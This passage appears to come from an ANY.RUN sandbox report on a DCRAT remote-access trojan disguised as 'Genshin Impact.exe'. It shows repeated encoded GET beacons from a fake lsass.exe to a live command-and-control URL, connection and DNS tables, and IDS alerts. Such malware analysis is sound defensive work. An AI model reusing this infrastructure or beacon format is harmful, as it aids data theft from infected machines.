Z4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W
unknown
text
2.09 Kb
unknown
3876
lsass.exe
GET
200
104.21.2.8:80
http://7777.cllt.nyashteam.ru/testwp.php?YJXgSJi5IdRD=jDrZ&HqhK=8bUm0XqyQKAuQiBIVWFcD5&9462c2628cc06f84cb4d3fb9a992edeb=lFGM0UjM4cjM4I2YwgDM2YDO1ImN4QWMjdzYkBTM0ATO4EzMzEGZhNTN0QDO2ADN1YTNyUDN&fdb24f392670a7714ac24c8e7509952b=QOxQDZ3QTYhJTY3YGOlFGZ3EjNhdDNzITZmVzM3IzNyEGNjJWM0MWM&5e79fff15169b7d3a3fa62efdb306b31=d1nIxMTNlhjNlJGNlNTN5ImNzEzYzQDM0ITM1cDMwkDOzUDNzQDMyMGZyIiOiEDNlljMxYTOhNWZmNjYwIjZ1IDZ2YDOmVzYhdjZ0ImNiwiI0kTMycjN0kDZjBDZ1YmN5YWN1ITZ4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W&4a4a8831cb4723c7f5e3b65ea3eefbf9=d1nIiojI3MWMkBzNjJTYlZTMyIGNmFmMwYTZhNDZ1kTMlRmNykjIsISMzUTZ4YTZiRTZzUTOiZzMxM2M0ADNyETN3ADM5gzM1QzM0AjMjRmMiojIxQTZ5ITM2kTYjVmZzIGMyYWNyQmN2gjZ1MWY3YGNiZjIsICN5EjM3YDN5Q2YwQWNmZTOmVTNyUGOklDNwIWYyYTO0MjZ3IDOwU2NiojI5MmZiNTOhJjY2EDO4ImN5ITZ1EGM4EWN0EzMykTMxQmI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMlWVtRGcSNTWCpUaPlWTYRGMGdEZUxGSkBnWYFGMOdVUpdXaJFTNXpFdCNEZ5Z0RkRlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S6FUeaVHbHN2dWdEZUJ0QOhXQDJGbSJjYOJUaOd2aIJGcxcVWHJ0QOJzZIt0Zvh0UIJkeOVXSElUQCNlVR5URJdXQE5kMwMlTwJ0UL5kUGtEbKNjYEJ0ULNFaDJGbS5mYKpUaPlWVXJGa1UlVR50aJNXSTtkQ5kGVvFUajxmUINGaSdVUn10MZBHaHNGaKNjUnVEMSdlQDpVeGdkW1Z0RkRlSp9UaVdlYoVTVWFFZrl0cJN1Vp9maJVHbXJ2aGBzYwp0QMlWSp9UajVVUVp0QMlWUYF2QClWT6F0QihWNyIGcONzYsplMilnQGl0MBl3YzkzRaVHbyYVavpWS5ZVbWVHbyYVa3NlZpRzVhNnSYp1Q5MlW3lTbjFjVrlkNJNlW1lTblxWMXFGMKNETpFERNdXQE10dJl2Tpd3VZBjTzI2dKNETptmbihWMtNGbkVUS0F0QaxGbtpFcOdlW35ESJBTOtRVavpWSup0Mil2dplUNZRUTwQTeNh3dp5UNFRlT1lEVOl2bqlka5ckYpdXaJZkUrlkNJNVZ5JlbiFTOykVa3lWS1x2RilnVtF1ZR1mYoh3aJZTSpJmdsJjWspkbJNXSpJGc412Ysp0aJZTSTVGMsJTWpdXaJp3YqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYxQGM3MmMhVmNxIjY0YWYyAjNlF2MkVTOxUGZ2ITOiwiI0UjZ5EWNlBTNmdDZ3AzNmJDZzYDMlRGZ3gTZllDZlZmN1kTOkFWOmJiOiEDNlljMxYTOhNWZmNjYwIjZ1IDZ2YDOmVzYhdjZ0ImNiwiI0kTMycjN0kDZjBDZ1YmN5YWN1ITZ4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W
unknown
text
104 b
unknown
3876
lsass.exe
GET
200
104.21.2.8:80
http://7777.cllt.nyashteam.ru/testwp.php?YJXgSJi5IdRD=jDrZ&HqhK=8bUm0XqyQKAuQiBIVWFcD5&9462c2628cc06f84cb4d3fb9a992edeb=lFGM0UjM4cjM4I2YwgDM2YDO1ImN4QWMjdzYkBTM0ATO4EzMzEGZhNTN0QDO2ADN1YTNyUDN&fdb24f392670a7714ac24c8e7509952b=QOxQDZ3QTYhJTY3YGOlFGZ3EjNhdDNzITZmVzM3IzNyEGNjJWM0MWM&5e79fff15169b7d3a3fa62efdb306b31=d1nIxMTNlhjNlJGNlNTN5ImNzEzYzQDM0ITM1cDMwkDOzUDNzQDMyMGZyIiOiEDNlljMxYTOhNWZmNjYwIjZ1IDZ2YDOmVzYhdjZ0ImNiwiI0kTMycjN0kDZjBDZ1YmN5YWN1ITZ4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W&4a4a8831cb4723c7f5e3b65ea3eefbf9=d1nIiojI3MWMkBzNjJTYlZTMyIGNmFmMwYTZhNDZ1kTMlRmNykjIsISMzUTZ4YTZiRTZzUTOiZzMxM2M0ADNyETN3ADM5gzM1QzM0AjMjRmMiojIxQTZ5ITM2kTYjVmZzIGMyYWNyQmN2gjZ1MWY3YGNiZjIsICN5EjM3YDN5Q2YwQWNmZTOmVTNyUGOklDNwIWYyYTO0MjZ3IDOwU2NiojI5MmZiNTOhJjY2EDO4ImN5ITZ1EGM4EWN0EzMykTMxQmI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMlWVtRGcSNTWCpUaPlWTYRGMGdEZUxGSkBnWYFGMOdVUpdXaJFTNXpFdCNEZ5Z0RkRlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S6FUeaVHbHN2dWdEZUJ0QOhXQDJGbSJjYOJUaOd2aIJGcxcVWHJ0QOJzZIt0Zvh0UIJkeOVXSElUQCNlVR5URJdXQE5kMwMlTwJ0UL5kUGtEbKNjYEJ0ULNFaDJGbS5mYKpUaPlWVXJGa1UlVR50aJNXSTtkQ5kGVvFUajxmUINGaSdVUn10MZBHaHNGaKNjUnVEMSdlQDpVeGdkW1Z0RkRlSp9UaVdlYoVTVWFFZrl0cJN1Vp9maJVHbXJ2aGBzYwp0QMlWSp9UajVVUVp0QMlWUYF2QClWT6F0QihWNyIGcONzYsplMilnQGl0MBl3YzkzRaVHbyYVavpWS5ZVbWVHbyYVa3NlZpRzVhNnSYp1Q5MlW3lTbjFjVrlkNJNlW1lTblxWMXFGMKNETpFERNdXQE10dJl2Tpd3VZBjTzI2dKNETptmbihWMtNGbkVUS0F0QaxGbtpFcOdlW35ESJBTOtRVavpWSup0Mil2dplUNZRUTwQTeNh3dp5UNFRlT1lEVOl2bqlka5ckYpdXaJZkUrlkNJNVZ5JlbiFTOykVa3lWS1x2RilnVtF1ZR1mYoh3aJZTSpJmdsJjWspkbJNXSpJGc412Ysp0aJZTSTVGMsJTWpdXaJp3YqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYxQGM3MmMhVmNxIjY0YWYyAjNlF2MkVTOxUGZ2ITOiwiI0UjZ5EWNlBTNmdDZ3AzNmJDZzYDMlRGZ3gTZllDZlZmN1kTOkFWOmJiOiEDNlljMxYTOhNWZmNjYwIjZ1IDZ2YDOmVzYhdjZ0ImNiwiI0kTMycjN0kDZjBDZ1YmN5YWN1ITZ4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W
unknown
text
104 b
unknown
3876
lsass.exe
GET
200
104.21.2.8:80
http://7777.cllt.nyashteam.ru/testwp.php?YJXgSJi5IdRD=jDrZ&HqhK=8bUm0XqyQKAuQiBIVWFcD5&9462c2628cc06f84cb4d3fb9a992edeb=lFGM0UjM4cjM4I2YwgDM2YDO1ImN4QWMjdzYkBTM0ATO4EzMzEGZhNTN0QDO2ADN1YTNyUDN&fdb24f392670a7714ac24c8e7509952b=QOxQDZ3QTYhJTY3YGOlFGZ3EjNhdDNzITZmVzM3IzNyEGNjJWM0MWM&5e79fff15169b7d3a3fa62efdb306b31=d1nIxMTNlhjNlJGNlNTN5ImNzEzYzQDM0ITM1cDMwkDOzUDNzQDMyMGZyIiOiEDNlljMxYTOhNWZmNjYwIjZ1IDZ2YDOmVzYhdjZ0ImNiwiI0kTMycjN0kDZjBDZ1YmN5YWN1ITZ4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W&4a4a8831cb4723c7f5e3b65ea3eefbf9=d1nIiojI3MWMkBzNjJTYlZTMyIGNmFmMwYTZhNDZ1kTMlRmNykjIsISMzUTZ4YTZiRTZzUTOiZzMxM2M0ADNyETN3ADM5gzM1QzM0AjMjRmMiojIxQTZ5ITM2kTYjVmZzIGMyYWNyQmN2gjZ1MWY3YGNiZjIsICN5EjM3YDN5Q2YwQWNmZTOmVTNyUGOklDNwIWYyYTO0MjZ3IDOwU2NiojI5MmZiNTOhJjY2EDO4ImN5ITZ1EGM4EWN0EzMykTMxQmI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMlWVtRGcSNTWCpUaPlWTYRGMGdEZUxGSkBnWYFGMOdVUpdXaJFTNXpFdCNEZ5Z0RkRlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S6FUeaVHbHN2dWdEZUJ0QOhXQDJGbSJjYOJUaOd2aIJGcxcVWHJ0QOJzZIt0Zvh0UIJkeOVXSElUQCNlVR5URJdXQE5kMwMlTwJ0UL5kUGtEbKNjYEJ0ULNFaDJGbS5mYKpUaPlWVXJGa1UlVR50aJNXSTtkQ5kGVvFUajxmUINGaSdVUn10MZBHaHNGaKNjUnVEMSdlQDpVeGdkW1Z0RkRlSp9UaVdlYoVTVWFFZrl0cJN1Vp9maJVHbXJ2aGBzYwp0QMlWSp9UajVVUVp0QMlWUYF2QClWT6F0QihWNyIGcONzYsplMilnQGl0MBl3YzkzRaVHbyYVavpWS5ZVbWVHbyYVa3NlZpRzVhNnSYp1Q5MlW3lTbjFjVrlkNJNlW1lTblxWMXFGMKNETpFERNdXQE10dJl2Tpd3VZBjTzI2dKNETptmbihWMtNGbkVUS0F0QaxGbtpFcOdlW35ESJBTOtRVavpWSup0Mil2dplUNZRUTwQTeNh3dp5UNFRlT1lEVOl2bqlka5ckYpdXaJZkUrlkNJNVZ5JlbiFTOykVa3lWS1x2RilnVtF1ZR1mYoh3aJZTSpJmdsJjWspkbJNXSpJGc412Ysp0aJZTSTVGMsJTWpdXaJp3YqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYxQGM3MmMhVmNxIjY0YWYyAjNlF2MkVTOxUGZ2ITOiwiI0UjZ5EWNlBTNmdDZ3AzNmJDZzYDMlRGZ3gTZllDZlZmN1kTOkFWOmJiOiEDNlljMxYTOhNWZmNjYwIjZ1IDZ2YDOmVzYhdjZ0ImNiwiI0kTMycjN0kDZjBDZ1YmN5YWN1ITZ4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W
unknown
text
104 b
unknown
3876
lsass.exe
GET
200
104.21.2.8:80
http://7777.cllt.nyashteam.ru/testwp.php?YJXgSJi5IdRD=jDrZ&HqhK=8bUm0XqyQKAuQiBIVWFcD5&9462c2628cc06f84cb4d3fb9a992edeb=lFGM0UjM4cjM4I2YwgDM2YDO1ImN4QWMjdzYkBTM0ATO4EzMzEGZhNTN0QDO2ADN1YTNyUDN&fdb24f392670a7714ac24c8e7509952b=QOxQDZ3QTYhJTY3YGOlFGZ3EjNhdDNzITZmVzM3IzNyEGNjJWM0MWM&5e79fff15169b7d3a3fa62efdb306b31=d1nIxMTNlhjNlJGNlNTN5ImNzEzYzQDM0ITM1cDMwkDOzUDNzQDMyMGZyIiOiEDNlljMxYTOhNWZmNjYwIjZ1IDZ2YDOmVzYhdjZ0ImNiwiI0kTMycjN0kDZjBDZ1YmN5YWN1ITZ4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W&4a4a8831cb4723c7f5e3b65ea3eefbf9=d1nIiojI3MWMkBzNjJTYlZTMyIGNmFmMwYTZhNDZ1kTMlRmNykjIsISMzUTZ4YTZiRTZzUTOiZzMxM2M0ADNyETN3ADM5gzM1QzM0AjMjRmMiojIxQTZ5ITM2kTYjVmZzIGMyYWNyQmN2gjZ1MWY3YGNiZjIsICN5EjM3YDN5Q2YwQWNmZTOmVTNyUGOklDNwIWYyYTO0MjZ3IDOwU2NiojI5MmZiNTOhJjY2EDO4ImN5ITZ1EGM4EWN0EzMykTMxQmI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMlWVtRGcSNTWCpUaPlWTYRGMGdEZUxGSkBnWYFGMOdVUpdXaJFTNXpFdCNEZ5Z0RkRlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUarxWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S6FUeaVHbHN2dWdEZUJ0QOhXQDJGbSJjYOJUaOd2aIJGcxcVWHJ0QOJzZIt0Zvh0UIJkeOVXSElUQCNlVR5URJdXQE5kMwMlTwJ0UL5kUGtEbKNjYEJ0ULNFaDJGbS5mYKpUaPlWVXJGa1UlVR50aJNXSTtkQ5kGVvFUajxmUINGaSdVUn10MZBHaHNGaKNjUnVEMSdlQDpVeGdkW1Z0RkRlSp9UaVdlYoVTVWFFZrl0cJN1Vp9maJVHbXJ2aGBzYwp0QMlWSp9UajVVUVp0QMlWUYF2QClWT6F0QihWNyIGcONzYsplMilnQGl0MBl3YzkzRaVHbyYVavpWS5ZVbWVHbyYVa3NlZpRzVhNnSYp1Q5MlW3lTbjFjVrlkNJNlW1lTblxWMXFGMKNETpFERNdXQE10dJl2Tpd3VZBjTzI2dKNETptmbihWMtNGbkVUS0F0QaxGbtpFcOdlW35ESJBTOtRVavpWSup0Mil2dplUNZRUTwQTeNh3dp5UNFRlT1lEVOl2bqlka5ckYpdXaJZkUrlkNJNVZ5JlbiFTOykVa3lWS1x2RilnVtF1ZR1mYoh3aJZTSpJmdsJjWspkbJNXSpJGc412Ysp0aJZTSTVGMsJTWpdXaJp3YqxkejRVT1FFVNlHNT1ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYxQGM3MmMhVmNxIjY0YWYyAjNlF2MkVTOxUGZ2ITOiwiI0UjZ5EWNlBTNmdDZ3AzNmJDZzYDMlRGZ3gTZllDZlZmN1kTOkFWOmJiOiEDNlljMxYTOhNWZmNjYwIjZ1IDZ2YDOmVzYhdjZ0ImNiwiI0kTMycjN0kDZjBDZ1YmN5YWN1ITZ4QWO0AjYhJjN5QzMmdjM4ATZ3IiOikzYmJ2M5EmMiZTM4gjY2kjMlVTYwgTY1QTMzITOxEDZis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
120
PortwebSaves.exe
208.95.112.1:80
ip-api.com
TUT-AS
US
unknown
3876
lsass.exe
208.95.112.1:80
ip-api.com
TUT-AS
US
unknown
3876
lsass.exe
104.21.2.8:80
7777.cllt.nyashteam.ru
CLOUDFLARENET
—
unknown

DNS requests

Domain
IP
Reputation
ip-api.com
  • 208.95.112.1
shared
7777.cllt.nyashteam.ru
  • 104.21.2.8
  • 172.67.186.200
unknown

Threats

PID
Process
Class
Message
120
PortwebSaves.exe
Potential Corporate Privacy Violation
AV POLICY Internal Host Retrieving External IP Address (ip-api. com)
120
PortwebSaves.exe
Device Retrieving External IP Address Detected
POLICY [ANY.RUN] External Hosting Lookup by ip-api
120
PortwebSaves.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup ip-api.com
3876
lsass.exe
Potential Corporate Privacy Violation
AV POLICY Internal Host Retrieving External IP Address (ip-api. com)
3876
lsass.exe
Device Retrieving External IP Address Detected
POLICY [ANY.RUN] External Hosting Lookup by ip-api
3876
lsass.exe
Device Retrieving External IP Address Detected
ET POLICY External IP Lookup ip-api.com
3876
lsass.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
3876
lsass.exe
A Network Trojan was detected
ET HUNTING Observed Malicious Filename in Outbound POST Request (Information.txt)
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Genshin Impact.exe